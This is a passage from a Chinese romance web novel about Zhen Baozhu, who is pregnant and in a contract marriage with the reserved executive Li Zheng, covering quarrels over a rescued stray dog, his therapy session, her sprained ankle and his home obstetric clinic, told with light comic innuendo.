甄宝珠正窝了一肚子火无处发泄,“我现在站着说话也腰疼,你懂狗语?小狗告诉你的,它想得胰腺炎?” “你看它可怜,你抱回去养,”刘白摸着小狗的手停在半空,冷笑一声,嘲讽道:“哦,我忘了,你们是那种想给每个流浪狗一个家的女人,结果真说要你负责,又退避三舍,朝三暮四。” 甄宝珠和陈书禾对视一眼。 他这是在说人还是狗? 甄宝珠叉着腰,倒不是有多气急败坏,只是孕激素和雌激素的共同作用下,她的腰又开始隐隐作痛了。 她戳了戳陈书禾,“你去,把狗抱起来。” 陈书禾走到刘白面前,俯身抱起狗,刘白乜了他一眼,“听话的狗也没有好下场。” 陈书禾轻叹口气,手掌托起小狗走到甄宝珠身边。 “托你的福,这狗我养了,你羡慕吗?”甄宝珠斜他一眼,“与其在这儿自怨自艾,你不如把那点儿精力放在正事儿上,学学你的好朋友,人间清醒。” 刘白走到甄宝珠面前,一双眼睛红红的,好像哭了几个大夜,“我怎么样是我的事儿,不用任何人管,游悠和你一样,就算结了婚也不会安分,谁和你们在一起,才应该一辈子自怨自艾。” 甄宝珠笑容明媚灿烂,语气充满不屑,“嫡长闺,一样就对了。结婚?你是不是想得有点儿多了?没事多买点葡萄补补吧,省得吃不着干着急。” 要论语言伤害,刘白真不是个儿。 主要他觉得自己是受害者,结果加害者的帮凶倒跑来对他大放厥词、冷嘲热讽,对方还是个孕妇,不能撸起袖子打一架。 他定定站着,眼圈泛红,胸腔起伏却说不出话来,甄宝珠一脸嚣张对着他挑衅。 陈书禾的本意是想让甄宝珠劝劝游悠,却没想到成了这样,他怕两人真打起来,赶忙拉着甄宝珠走了。 陈书禾抱着小狗,踌躇道:“其实刘白挺可怜的,他父母都去世了,从小跟哥哥相依为命,好不容易考上好大学,又碰到了游悠…” “成年人你情我愿,游悠可没害他,”甄宝珠一张口就要维护自己姐妹,“我就是看不惯他萎靡不振的死样子,不就是被人甩了,天塌了?” 陈书禾也说不过她,摸着小狗的脑袋,“这只小狗一条腿瘸,平时跑都跑不快,也总被其他流浪狗欺负,姐姐,你真的要养它吗?” 甄宝珠一言既出,“我当然要养,学校附近有宠物医院吗?我先去给小狗做个检查。” 甄宝珠准备从他手里接过小狗,陈书禾却没递给她,“我陪你去吧,检查没问题你再抱它吧。” * 与此同时,黎铮坐在赵医生对面已经十几分钟了,却仍没开口说话。 他是赵医生从业以来见过最典型的高防御型人格病历,因为智商高所以攻防能力也强,从哪个角度都无法进入他紧闭的心门。 他总是对心理治疗师的建议秉持质疑态度,但却是赵医生的老病号。他来不是为了寻找治疗方案,只是为了有人听他倾诉,并且职业操守让心理医生成为最适合倾听的人选。 简言之,他是黎铮的树洞。 所以他们面对面坐了十几分钟,赵医生一直等着,他却迟迟不肯开口。 赵医生试探引导:“最近一段时间你都没来,生活怎么样?” 黎铮抿了抿唇,说:“我今天来是有个问题想咨询。” 赵医生眼前一亮,黎铮竟然用了“咨询”这个词儿。 “心理医学上是不是有种疾病,叫恋孕?” 心理咨询师停下手里的笔,不可思议地看着他,“也不能说是疾病吧,确实少部分人有这种心理需求,这其实和幼儿时期的经历” “吃什么药能治好?”黎铮的问询简洁明了。 赵医生:“……要不你再详细说说?” 黎铮双手交叉抱胸,摆出很明显的心理防御姿势。 赵医生在黎铮的病历本上写了又写,抬头问他:“你这种情况有多久了?是怎么发现的?路上看到孕妇你会有什么样的感觉?” 黎铮嘴唇轻抿,卸下防御姿势,“大概两个多月,跟她接触的时候会勃.起,这种情况已经发生了六次。对路上的孕妇?我知道我有心理疾病,但还没到变态的份儿上。” 赵医生扶了扶眼镜,“她?不是她们?特指一个人而不是一个群体?” “嗯。”他的喉间挤出一个音节。 “你们平时在什么环境下接触?” “我们住在一起。” 赵医生看着他眨了眨眼睛,又低头在本儿上写了写,最后犹豫道:“有没有一种可能,这属于一种生理性的…喜欢?” 面对黎铮,他总是不敢把话说得太绝对,很容易遭到条理清晰的反驳。 比如现在,黎铮说:“不可能。” 他很清楚自己的理想型是什么样子,甄宝珠…除了一点点漂亮,毫无优点。 生活不易,赵医生叹气。 “这其实是个好现象,我觉得你不应该太抗拒。自从你父母车祸之后……我觉得这是个重新建立亲密关系的好契机。” 知道黎铮经历的人不多,那些经历在别人看来有很浓重的传奇色彩,但在心理咨询师眼中,正是那些经历导致他现在严重的防御心理和PTSD(创伤后应激障碍)。 “你们不是已经住在一起了吗?其实可以试着放下防备心理,打开心门。” 虽然心理咨询师不知道黎铮口中的“孕妇”,到底涉不涉及道德伦理问题,但是高智商的人有严重的心理疾病,控制不好对社会危害更大。 黎铮思索片刻,说:“吃什么药能治好?” 医生听了这话,真想给他推荐点儿壮.阳催情的药。 合着他一个字都没听进去。 赵医生眉头动了动,“药物不是什么都可以治疗的,不想与人建立亲密关系,其实也是一种逃避责任的心理。” 黎铮没说话,他和甄宝珠的关系已经很复杂了,他不想让这段关系彻底脱轨,这样会影响到他以后争夺孩子的抚养权。 “你为什么要建议我和她建立亲密关系?你明知道和我关系密切的人都会被伤害,我现在怀疑你的动机。” 赵医生:“……” 这场无疾而终的咨询让黎铮更确定了一件事,赵医生业务能力很一般,根本没必要浪费时间。 他起身就走,走到门口,赵医生忽然开口说:“可你不得不承认,你很久都没来找过我了,最近的日子是否过得比以前轻松?” 黎铮推门的手停顿一下,随后扬长而去。 * 他回到车里,平静地呼吸。 时刻保持理智的大脑短暂放空,他又想起甄宝珠愤然离去的身影。 “关林,甄宝珠去哪了?” 关林在前排回头,嘴巴闭得紧紧的,不敢吱声。 黎铮皱眉,“有话就说。” “宝珠小姐,去了…科技大学。” 黎铮的大脑刚拾起理智,又是一片空白。 第22章 第 22 章 旱的旱死,涝的涝死。…… 甄宝珠和陈书禾带着小狗在宠物医院折腾了一下午, 又去附近的宠物用品店买了一应用品,把小狗洗得又白又香,毛发修剪得蓬松柔软, 才发现它原来还是只比熊犬的串串。 甄宝珠抱着瑟瑟发抖的小狗,手掌托着它的瘸腿,“可惜了, 一落生的残疾。” 陈书禾帮她把狗粮搬进车里, 俯过身摸了摸小狗脑袋, 小狗直往甄宝珠怀里躲, 黑黢黢的小眼睛牢牢紧闭。 “姐姐,你会照顾好它的吧?”陈书禾问。 “放心,”甄宝珠抱着小狗, 像抱一个小婴儿, “你回去转告刘白,游悠和狗以后都别惦记了。” 陈书禾低了低头, “是我欠考虑了, 我还以为你会帮忙劝劝游悠, 让他们和好,你别生气了,我晚上请你吃饭吧。” “饭就不吃了, 我要劝也是劝她早点甩掉窝囊废。”甄宝珠打开车门,窈窕身姿倚着跑车, 笑着冲他勾了勾手指,让他凑近些。 看着甄宝珠甜心般的笑容, 陈书禾的脸忽然就红了,身子也很自觉挪移过去,觉得不够近, 又往前倾了倾身,姿态十分虔诚。 “我今天来赴约是为了感谢你上次帮我解码加密的硬盘,但我不认为对一个有夫之妇有想法是什么光彩的事儿,你觉得呢?”甄宝珠在他耳边轻声道。 那样子仿佛是热恋男女在说贴心悄悄话,但陈书禾能听到她轻佻的尾音,带着讽刺的问句让他的脸迅速涨红,紧咬唇壁,垂眸不语。 甄宝珠拍了拍他的肩膀,“你是个挺聪明的人,以后靠自己也能闯出一片天,不要想些乱七八糟的事儿。” 再不用多说,他也明白甄宝珠是什么意思。 陈书禾和她只见过一面,明知她的情况还无比慇勤,无非是在做豪门软饭梦,甄宝珠只不过是希望他早点认清现实,别总想着歪门邪道。 而这街头发生的一切,都被马路对面商务车的主人尽收眼底。 黎铮始终平静的眼中此刻燃着火苗,呼吸也变得沉重。 在他纠结到要去看心理医生的时候,他的妻子和男大学生在街头动手动脚。 两人亲密贴贴,她那双为自己解开衣扣的手正拍着对方肩膀,不知道又说了什么让人脸红心跳的话。 * 甄宝珠把小狗带回思懿庄园,又指挥保镖帮她把车里的东西都搬进去。 小狗忽然搬进豪宅,坐在地毯上也不敢动,小爪子在地毯边缘试探扒拉,看什么都畏畏缩缩的。 甄宝珠拿几颗小零食逗它,它也只敢追着她的手小范围活动,吃过零食就趴在地毯上看着甄宝珠,眼珠都不动一下。 她托着腮和小狗对视,也能短暂忘记让她烦心的事。 黎铮随后进门,关门的声音都很大,像火山突然喷发那一下地动山摇。 小狗吓得缩进甄宝珠腿弯,瑟瑟发抖。 甄宝珠轻轻抚摸小狗的脑袋瓜安慰,并给黎铮投去一个眼刀。 空气中弥漫着硝烟味道,大战一触即发。 “哪来的狗?” “捡的。” “哪捡的?” “科技大学捡的。” 甄宝珠一点儿不心虚,跟他吹胡子瞪眼没好气。 黎铮咬了咬牙,“谁让你随便捡狗?在外面招猫逗狗还不够,还敢带回家来养,你当我死了吗?” 甄宝珠上下打量他,“你喊什么?原来床上不行的男人会把火气发泄在别的地方。” 凭良心说,黎铮的声音不算大,只是语气带着怨怒,听起来不顺耳。 黎铮的手微微颤抖,哂笑道:“因为昨天在我这儿得不到你想要的,你今天就出去找年轻的人,捡吃奶的狗?” “是啊,怎样?”甄宝珠反应了一会儿,怒道:“你又找人监视我?” 黎铮捏着拳头,闭眼顺了顺呼吸,“我警告你,把狗送走,不然我明天就给你扔出去。” “你说清楚,要把谁扔出去?你是不是还想把我扔出去啊?”甄宝珠漂亮的眼睛瞪着他,柔软嘴巴一张一合,说着气死人的话。 黎铮眼中掠过一丝无奈,动了动唇,“狗,我说扔狗。” “不用你扔,我带着狗自己走。”甄宝珠弯腰抱起小狗,揣着狗就往门外走。 黎铮无声攥住她的手腕。 “放开我,我早就呆够了。” 她拚命甩手,比过年的猪还难摁。 黎铮也不肯放手,攥得甄宝珠手腕生疼。 两人僵持了一会儿,黎铮叹了口气,妥协道:“把狗放下。” 甄宝珠狠狠瞪他一眼,“不扔狗了?” “……嗯。”黎铮从鼻腔后挤出一个音节。 小狗被她从半空放下,一落地撒瘸腿就跑,躲在沙发拐角,哆哆嗦嗦看着黎铮,粉红耳朵立起听着动静。 黎铮望着小狗奔跑的踪迹,“它的腿怎么?” “腿瘸了腿瘸了,怎么了?你歧视啊!”甄宝珠像个炮仗似的。 黎铮闭了闭眼,“你想养狗可以提前跟我说,你不是答应过添置东西要和我商量吗?” “这是我的小狗,为什么要跟你商量?”她活动了一下被他攥痛的手腕。 “你想养狗,可以,但你以后不能再去科技大学。” 又是那种语气,要她听他的命令。 让她下去,让她自重,让她不许去科技大学。 “为什么?凭什么?” 甄宝珠气势汹汹,把将近一米九的黎铮逼到墙边。 “我告诉你黎铮,昨天我想睡你,今天我不想了,昨天我不想养狗,今天我想养了,我干什么全凭我的心情,轮不到你管!” 黎铮被她吵得头疼,胸口也憋闷,却一句话都说不出口,看着甄宝珠嚣张跋扈的姿态,不由想到心理医生说的话。 喜欢她? 谁喜欢她大概得去教堂忏悔。 “我还告诉你,我的小狗你不许喂、不许摸、不许撸!”甄宝珠伸出手指在他眼前指指点点。 被她逼到墙角的黎铮棱了一眼同在角落的小狗,说了句:“我每天很闲吗?” 争吵到最后,甄宝珠看着黎铮深凿的眉心,嫌弃的表情,不由想到他是如何推开她的。 想睡他? 谁和他睡了大概得去教堂忏悔。 她登登登上楼,黎铮寒锋一般的目光凝视在沙发躲藏的小狗。 当天夜晚,甄宝珠在楼上熟睡,小狗在楼下软绵绵的地毯趴着做梦。 黑暗中,一只有形的手提着后脖颈把它拎起来,送出了刚刚入住的豪宅。 * 第二天一起床,甄宝珠就去楼下看狗,找了一圈也没看到她的小狗。 “嘬嘬嘬…” 她还没来得及给小狗取名字,只好从楼上“嘬”到楼下,也没能把小狗引出来。 小狗不见了,她确信。 她走进厨房,挑了把趁手的剪刀,上楼推开黎铮卧室的门,安静地站在黎铮床前,俯身歪头怒视他熟睡中的脸。 “卡嚓卡嚓~” 甄宝珠握着剪刀开合,造出些动静。 黎铮微微睁眼,又闭上眼睛,唇边露出一抹微笑,抬起手放在她的脸上,温热的手掌紧贴脸颊,指腹在她酒窝处摩挲。 甄宝珠握着剪刀,懵了。 大概三五秒之后,黎铮突然从未完待续的梦中清醒,猛地睁开双眼,迅速挪开手。 “你来我房间干什么?”他冷声问道。 “你摸我脸干嘛?”她眨眼问他。 黎铮喉结轻滚,目光扫过甄宝珠手上的剪刀,“你拿把剪刀干什么?” 甄宝珠一手握着剪刀,一手抓着他的头发。 “把、我、的、小、狗、还、给、我!” 声音响彻整栋楼,惊飞窗外早起的鸟儿。 黎铮捏住她的腕骨,“你先把剪刀放下。” 他伸手去拿剪刀,她却把刀尖对着他。 “黎铮我问你,我的狗呢?” “送去宠物医院了。” 甄宝珠把剪刀收回,问他:“你送宠物医院干嘛?” “你现在是孕妇,带回来的又是流浪狗,我让关林带去宠物医院检查一下才能放心。” “可是”甄宝珠咬唇,“我已经带它去过宠物医院了。” 黎铮和甄宝珠对视一眼,甄宝珠用力搡他,“你快给关林打电话呀,别再检查了,你要把它的血抽完啊。” 关林的电话很快接通,他抱着狗为自己邀功:“黎总,化验结果已经出来了,小狗没问题,您昨天让我咨询的腿瘸问题,医生的答覆是治不了。” 黎铮一看表,才早上八点。 他轻叹口气,“你还真有效率。” 关林听到老板夸奖很骄傲,“嗯,事关宝珠小姐,我今天一早就催宠物医院开门,一会儿就能给您送回去,保证宝珠小姐一睡醒就能看到小狗。” “” 两人坐在床畔,目光呆滞。 甄宝珠心疼小狗,扁着嘴说:“抽两次血得多疼啊。” 黎铮轻拍她的肩膀抚慰:“流浪狗承受能力应该比较好,你先把剪刀放下” * 那段时间甄宝珠每天照顾小狗,获得了照顾孩子初体验,一天喂个三四次,狗粮得用热羊奶泡软,还得时常拉出去放风。 秋季早晚温度低,她把婴儿服剪剪给小狗穿上,护住肚子免它着凉。 小狗离不开她,她的时间也都用来陪小狗,游悠约她出去逛街她也拒绝了,游悠在电话那头吐槽:“自从你怀孕,我约人比偷人还难。” 游悠自己去买买买,在爱马仕搭配了婴儿套装,亲自给甄宝珠送家来了。 她们牵着狗在思懿庄园溜跶,游悠打趣她:“够文明的你,在自家花园遛狗还牵绳。” 甄宝珠拉着伸缩绳,“这小狗特别奇怪,我不用绳儿拉着它一步都不走,我试过不牵绳,结果它蹲到巡逻保镖的电瓶车底下了,揪都揪不出来。” 也许是因为流浪太久,身后有人拉着它更有安全感,如果把它自己放出去,它就以为又要流浪了,不是坐在门前仰着可怜小脸看她,就是躲在电瓶车底下。 游悠乐了会儿,犹犹豫豫问她:“听说,这狗是你在科技大学捡的?” 小姐妹心灵相通,甄宝珠知道她想问刘白的事儿,故意拿乔:“嗯。” 游悠:“怎么捡的?” 甄宝珠调戏她:“从一个傻X男大那儿夺的。” 游悠抓住她的胳膊撒娇,“宝珠~” 甄宝珠切了一声:“我说呢,怎么逛街不去还给我送货上门来了,原来是有些人相思病犯了。” 游悠红着脸咬唇,“刘白,他怎么样?” “你也走心了?”甄宝珠挑眉,贱嗖嗖问:“他有什么过人之处啊?” 游悠垂了垂眼睫,“我好像真的有点儿想他。” “那你就直接给他发个[做吗?],他不得尾巴摇得像螺旋桨一样飞来找你?” 游悠的声音听起来丧极了,“他不会了。” 甄宝珠从来没想过及时行乐的游悠会陷入情网,现在丧气也应该只是短暂的戒断反应。 “你怎么他了?什么奇怪的性.癖被人家发现了?”她八卦的心忽然点燃。 游悠踌躇半晌,声音低低地说:“我和他哥睡了。” 甄宝珠停住脚步,一路往前跑的小狗也被绳拽住,在草坪打了个滚。 “你…” 甄宝珠在心里默念,嫡长闺嫡长闺,她是个善良的女孩,只是想给每个帅哥一个家,她能有什么错? “畜生啊你,”甄宝珠还是没忍住,“人家父母双亡,就跟哥哥相依为命,你怎么能又当弟妹又当大嫂?” 游悠扼腕叹息,“我又不知道那是他哥。” “捉奸在床?” “差不多吧,他哥反正当时穿得不多。” 旱的旱死,涝的涝死。 甄宝珠敲打她,“你这人挺精明的,怎么突然犯糊涂了呢,以后这两兄弟你可都远离点儿,别争风吃醋过了劲儿,一起捅你” 游悠的眼睛里顿时出现了一丝…期盼。 甄宝珠举起手刀,警告的小眼神直直对着她:“捅你一刀。” 自知理亏的游悠也不敢再问刘白,反而甄宝珠一边往前走一边叨叨没完。 “人家小男孩多可怜啊,你也忍心,那天我见他那个死样子,还以为是你把人家搞肾虚不行了,我当时还维护你,半夜睡不着我都得想我可真该死啊” 甄宝珠一直往前走,小狗绕过她跑到游悠身边,下一秒她就被狗绳绊倒了。 第35章 第 35 章 恋足啊? 黎铮接到电话, 说宝珠小姐在花园被狗绳拌倒了,摔了个狗狗吃屎。 往回赶的一路,他总嫌司机车开太慢。 推开家门, 甄宝珠和游悠正坐地毯上,手里拽着磨牙棒和小狗拔河玩儿,脚踝还敷着冰袋。 他上前拽起甄宝珠, 在她身上各处乱摸, 寻找其他伤处, 甄宝珠嫌弃地拍他的手。 黎铮仍不放心, 握紧她的手腕,“走,去医院。” 甄宝珠被他拽着一蹦一跳往前, 拚命甩开他的手, “去医院干嘛,你犯病了?” “你不是摔倒了吗?” “我只是绊了一下崴了脚, 你还让我到处走动, ”她抬高声调:“你要干嘛?猛踹瘸子那条好腿?” 看她那个样子, 一点儿也不柔弱。 “去医院检查一下,万一骨折了呢?” 甄宝珠卡着腰瞪他,“我还没到骨质疏松的岁数呢, 你再咒我一个试试。” 她又一瘸一拐坐回羊毛地毯上,幽怨道:“游悠把药都给我买好了, 等你回来我得截肢。” 一直被黎铮忽视的游悠站起身,说:“你回来了, 那我就走了,放心吧,她就是摔草地上了, 没事。” 准确来讲,当时游悠飞身救闺,甄宝珠是摔到游悠身上了,连她新买的爱马仕小房子也和湿草地来了个亲密接触,小白房子成了小泥房子。 游悠拎起包,在黎铮眼前晃了晃,“为了救你老婆,我可是花了二百万。” “谢谢,明天让财务给你转账。” 听到黎铮应允补偿,游悠捂嘴笑了笑,“这还差不多。” 游悠走后,黎铮单膝跪地,歪着头细看甄宝珠肿起的脚踝。 甄宝珠用抱枕挡住,语气依然像个炸开的炮仗,“看什么看?” “你确定你没事?” “有事也不用你管。” 黎铮抿了抿唇,没说话。 他知道甄宝珠现在看他像看仇人一样。 甄宝珠起身上楼,狗跟在后面。 一人一狗,一瘸一拐。 晚上甄宝珠坐在床边,打开游悠留给她的红花油,伤在脚踝外侧,她调整了几次姿势,腿总是别着,脚一动就疼,人越来越烦躁。 听到叩门声,她也没好气,“干嘛?” 门外安静片刻,来人语气稍显理亏,“你不方便下楼,我给你送点儿饭。” 这么一说,她倒是真饿了。 总不能拒绝吃饭吧,搞得好像她睡不到男人要绝食似的。 “进来。” 黎铮端着饭进去,房间里飘着红花油的药味,床上散落着一包棉签。 他把饭放在床头,人却站那不走。 甄宝珠坐在床上仰头,抬起漂亮眼眸瞪他,“怎么还不走?” 他默不做声打开窗户,拿起床头柜放的冰袋,“伸脚。” 甄宝珠别头,还跟他赌气。 他坐在床边,伸手握住她的小腿按在自己大腿上。 冰袋按在她受伤的脚踝,冰冰凉凉的触感让她躲了躲,黎铮握住她白皙的脚背,温热手掌像个暖炉,让人忍不住想紧贴着。 他低着头,明晰的侧脸轮廓被低垂的眼睫衬托出些许温柔。 “红花油是孕妇禁用药,游悠可能不知道,冰敷完给你揉一下,你忍一忍痛,明天才不会肿。” 黎铮取下冰袋,给她揉捏脚踝,力道厚重,丝毫不敷衍,仔细又认真。 也确实很痛,甄宝珠忍着不吭声。 黎铮揉了十几分钟,垂睫问道:“怎么不喊疼了?” “我不是孬种,不像某些人。”甄宝珠阴阳怪气。 黎铮沉了沉气,又把冰袋敷上去按住。 “我的脚是不是挺好看?”甄宝珠动了动脚趾。 水红色美甲点缀奶油白皮肤,若隐若现的青脉蜿蜒,像一幅懂得留白的佳作。 “嗯。”黎铮答。 甄宝珠把另一只脚也搭在他腿上,黎铮盯着两只脚踝,比对她崴脚的严重程度。 明艳的水红色在他眼前晃来晃去,像活蹦乱跳的鱼,冰袋被两人的体温融化,反渗的雾珠缓缓下滑,流过光裸的皮肤,滴落在他锋利的裤线,迅速洇开。 他按住一双脚,小鱼却顺着他的西裤往上挪移,床上的人藏不住使坏的心思,足尖捻住裆线,半咬朱唇,轻佻问道:“恋足啊?” 她的挑逗太做作,完全没有情欲的成分,纯粹的恶作剧,就像在楼下逗狗那样逗他。 黎铮棱她一眼,捉着脚挪开,轻置在床上。 “记得吃饭,这几天别下床了。” “我不下床,饿了渴了怎么办?” 黎铮没答话,转身就走了,甄宝珠翻了个白眼,挪动身子坐在床边吃饭。 几分钟后,黎铮又上楼,把新买的婴儿监视器安在她的床头。 他看说明书,研究设备,连上蓝牙。 她嘴里的饭都不香了。 心说还得是监视全世界的你啊。 黎铮转过摄像头对着墙壁,“你有什么需求都可以通过这个跟我说,连着我的卧室,平时发微信也行,我睡觉时有手机关机的习惯。” 甄宝珠勾唇,眼中溢出狡猾笑意,“这可是你说的。” 那几天,甄宝珠像使唤仆人一样使唤黎铮。 “黎总,渴了。” “黎总,饿了。” “黎总,把狗喂了。” “黎总,才晚上一点,你睡那么早干嘛?” “正事?有啊,我睡不着,你把那本经济学的书拿来我助助眠,顺便给我买点儿奶糖来,嘴苦。” 凌晨一点,黎铮穿着睡衣,眼底乌青,头发凌乱,把书和糖都扔在甄宝珠床上,整个人都在暴躁边缘。 在黎铮每天的“精心照顾”下,甄宝珠恢复得很快,但她天天都说脚疼,借由使唤黎铮。 那天黎铮提前回家,以前习惯性进书房,现在习惯性上楼看她。 午后阳光透过窗帘照在甄宝珠身上,她平躺着休憩,小脸上盖着本书,正在做暖洋洋的梦。 黎铮没有叫醒她,站在床尾俯身观察她的脚踝,淤青早已经褪了,他用指腹轻碰,甄宝珠也没什么反应。 他捏着脚踝三指发力,甄宝珠从睡梦中惊醒,光当给了他一脚,直踹在他肋骨。 这一脚踹得他差点儿心脏骤停,他手捂胸口,一手拉着甄宝珠的脚腕把人拖到自己面前。 甄宝珠顺着真丝床单,从床头一直滑到床尾,把脸上的书撇开,正对上一双愠怒的墨瞳。 “哎呦~”她捏着脚踝哼哼唧唧。 “别装,”柔情嘴唇冰冷无情,“刚才你那一脚能去踢国足。” 甄宝珠抱臂白眼他,“谁让你随便摸我脚的?” 黎铮把婴儿监控器拆下来,“使唤我给你揉脚时候你可不是这么说的。” 床上的人又装可怜样儿,“我饿了,我的宝宝也饿了,今天你做饭吧,我想吃你做的饭” 黎铮身躯一顿,指尖缠绕着监控器线,冷哼一声,“那你这段时间吃的是什么?” 甄宝珠摸着嘴唇回想,她最近吃的饭都是黎铮做的? 不对,她又不是没吃过黎铮做的饭。 “咱家阿姨呢?” “请假了。” “不对,不对,”甄宝珠有理有据,“你做饭不爱放糖,你说不健康,我最近吃的可都是甜口。” 黎铮乜了她一眼,懒得搭理她。 她仔细回想,好像是有一天她觉得嘴苦,指使黎铮给她买点儿奶糖吃,自那天开始,她的饭就顿顿都有甜口菜。 她脸色微微一红,有点儿不好意思再装瘸了。 * 一周后,她的脚彻底好了,游悠才带着一堆营养品来探望她。 甄宝珠生龙活虎,踢了一脚地上的礼品盒子,“燕窝还行,脑白金是怎么事?” 游悠也心情不错,又搀扶着她到处溜跶。 “宝珠,你救了大命,那天你崴脚,给我灵感了,回去我就给刘白发微信说我崴脚了,他巴巴照顾我一周,我两又和好了。” 看着游悠灿烂的笑容,甄宝珠心里苦。 她俩都这样了,崴脚一周还能光速复合。 黎铮可倒好,除了脚,其他地方也没碰一下,什么人呐。 听到甄宝珠长吁短叹,游悠凑近问她:“怎么了?我的恩人。” 甄宝珠委屈巴巴,“你是天雷地火烧得挺旺,我一个人独守空房,你说我现在没有魅力了吗?” “那不可能,”游悠坚决道:“虽然说咱现在有点小肚腩,但丝毫不影响我姐散发魅力,宝珠,实在不行,换个人。” “我就想睡他。”甄宝珠的嘴撅得能挂油瓶。 从小到大,甄宝珠都没有想要但得不到的东西。 “他长得好看,人也聪明,做饭好吃,还挺有风度” 除了不主动,黎铮哪儿都挺好。 “你先打住,”游悠认真看着她,“你是想睡他还是喜欢他?” 甄宝珠脸色一红,“说什么呢?我就是单纯饥渴。” “我觉得你真喜欢上他了。饥渴是只要那根好用就行,你刚才说他聪明,做饭好吃,有风度,哪点儿上床时候能用上?我让你换个人你还不肯,你就是喜欢上他了,我懂的。” 甄宝珠撇嘴,她又不是没谈过恋爱。 她的初恋还算青涩,她爱玩儿,男友脾气极好整天黏着她,第二次恋爱,男友虽然全球秀场到处飞,但安全感也是给够的。 患得患失和忽冷忽热她是没体会过的,在黎铮这里,她好像体会到了。 她很不喜欢这种感觉,却又甩不掉,如果这也能叫喜欢的话,那也不是什么有益身体健康的情感。 她自嘲道:“什么喜不喜欢,他有什么了不起,缺点也是一大堆,我现在怀着孩子,黎铮不想和我扯上肉.体关系,估计是怕我带着个孩子赖上他。” 踢了一脚路边的鹅卵石,她低头咕哝:“我也无所谓。” 游悠的眼神总是瞟着她,一副看破不说破的表情。 两人在花园里溜跶,远远走来一个中年妇女,冲甄宝珠挥手。 “这谁啊?” 游悠问她,她也是一脸懵。 直到中年妇女走近,和她打招呼:“你好,甄宝珠小姐,还记得我吗?我们在妇产科见过好几次了。” “好巧,你也散步啊?刘主任。” 产科刘主任笑道:“是呢,这个花园真漂亮。” 甄宝珠:“我的意思是,你为什么在我家花园溜跶?” 第24章 第 24 章 黎铮爱惨你了。 产科医生对她的提问感到奇怪, “我已经来这儿住了几天了。” 刘医生指向主楼侧面的联排房,“黎总没跟你说吗?他给我们医院捐了些设备,然后聘用我来这里做私人医生, 我办完退休手续就来了。” 甄宝珠微怔,“他没说。” 刘医生又说:“你的脚好了吗?孕妇还是要注意不要受外伤,不太好处理, 幸亏只是崴脚, 我专门教了黎总一套按揉消肿的手法。” 甄宝珠暗忖, 难怪黎铮手法娴熟, 像在洗脚城上过班。 “最近感觉到胎动了吗?我那里有美国GE E10的四维彩超仪,看胎儿特别清晰,你要不要” “要要要。”游悠激动道:“我全身上下要都扫一遍。” 刘医生带她们到自己的工作室, 那栋联排房以前是保镖司机值班室, 现在竟然神不知鬼不觉改成社区医院了。 白炽灯照着长长的走廊,来回走动的护士、各种医疗设备, 这里好像随时要噶腰子的地下恐怖医院。 她拽着游悠的胳膊, 感觉后背寒森森的, “黎铮不是要在这儿卖我器官吧?” “当然不是啦,”刘医生觉得她还挺爱开玩笑的,说:“我们只是做一些辅助的孕期检查和治疗, 到时候生孩子还得去医院。” 参观完地下黑医院,呸, 家庭社区医院,甄宝珠觉得越来越诡异, 游悠却不以为然,先给自己来了套全身体检。 游悠躺在治疗床上还跟她说:“你那会儿说什么来着?黎铮怕你赖上他,我呸, 你是不是想秀恩爱?” 甄宝珠茫然:“可是” 他明明对自己是那样的态度。 游悠肯定道:“我拿我下半辈子的性.福跟你打赌,黎铮爱惨你了,不过,他能在家给你开医院,确实爱得有点病态了哈。医生,我的乳腺没问题吧?” 游悠把甄宝珠按在治疗床上,“躺下,让我看看我干女儿正在你肚子里干嘛?” 涂上温热的凝胶,医生的探头在肚皮滑来滑去。 “你现在的孩子就像手掌一样大,最近感觉到胎动了吗?”医生问。 “没有,有时候感觉肚皮痒痒的,五个月的孩子应该动了吗?ta不动的话是不是有什么问题?”甄宝珠忽然又紧张起来。 最近她有时会感觉肚子里像有小鱼在啄她的肚皮,但并没有感觉到能让她的肚皮像水波般晃动的胎动。 刘医生笑了笑,“没什么问题,有的孩子是不爱动,说明很乖,最近你注意点,也许会开始要明显地动了,已经查过性别了吗?” “没有,”甄宝珠说:“游悠瞎猜的。” 刘医生说:“就算你想知道我也不能告诉你,男孩女孩都一样,你说是吧?” 甄宝珠点头,“只要健康就好。” 看着显示器里曾经的小小胚胎变成了手掌大小的胎儿,蜷缩四肢在她体内安安稳稳睡着,甄宝珠一颗心都软化了。 医生为她打印了一张胎儿的照片,ta的脑袋大大的,身体小小的。 或许是错觉,她仿佛已经能看到胎儿挺立的鼻梁和完美的头骨。 医生嘱咐她,胎儿现在已经能感知到母体的情绪,她难过孩子也会难过,她开心孩子才会开心,也让她进行适量的运动,并且约定了糖耐测试的时间。 * 晚上黎铮回家,甄宝珠把胎儿的照片拍在他的书桌上。 “解释一下。” 黎铮拿起照片,挪了挪落地灯的光源,在灯光下看着照片中的胎儿,唇边漾着一抹微笑,眼神尽是温柔。 “解释什么?” 甄宝珠从他手上夺过照片,“解释一下你的地下黑医院。” 黎铮神色平淡,“哦,捐钱为了抵税,我也需要一个私人医生。” “你找产科医生当私人医生?”甄宝珠叉着腰。 “嗯,我的医疗团队缺一个产科医生,”黎铮平静回视她,眼神没有一丝波澜,“不行吗?” 甄宝珠咬着后槽牙,齿缝挤出一句:“行,你真行。” 从黎铮那张冷淡的脸上,她真看不出来爱惨了的痕迹。 她甩甩头发要走,黎铮叫住她。 “既然你的脚已经好了,明天晚上和我出去一趟,晚上七点回来接你。”黎铮翻著书桌的书,一副公事公办的语气。 甄宝珠停住脚步,“去哪儿?” 黎铮的书又翻了一页,“有个酒会,你不是喜欢热闹?” 甄宝珠扶腰挺肚,“我是喜欢喝酒,但你看我现在能喝酒吗?” “不需要你喝酒,但需要你出席,别忘了,我们的协议有写,你甄家二小姐的身份我需要用用。”他略一抬眼,情绪冷淡平静。 当时她开给他的结婚条件就是帮他打通京市人脉,是到她奉献的时候了,如果黎铮没提醒,她都快忘了,他们本来就是利益关系。 * 黎铮的公司最近在调研一个古镇重建项目,他认为风险太大,但利益诱人,所以想找人分摊风险,看中一个港城地产商。 那港商同样对京市的营商环境不了解,一直犹犹豫豫,如果甄宝珠能出席港商举办的酒会,代表京市颇有盛名的甄家露一面,对促成他们合作大有裨益。 而且他考虑到甄宝珠在家闷了太久,自从做完羊水穿刺之后,她对自己的身体格外小心,就待在家里和狗作伴,这样对胎儿也不太好。 为了参加酒会,甄宝珠特意买了套孕妇小礼服,漂亮衣服穿上身,她的心情也大好,自从怀孕以来,她很久都没盛装打扮过自己了,对向来不愿意参加的商业酒会,她还有点儿期待。 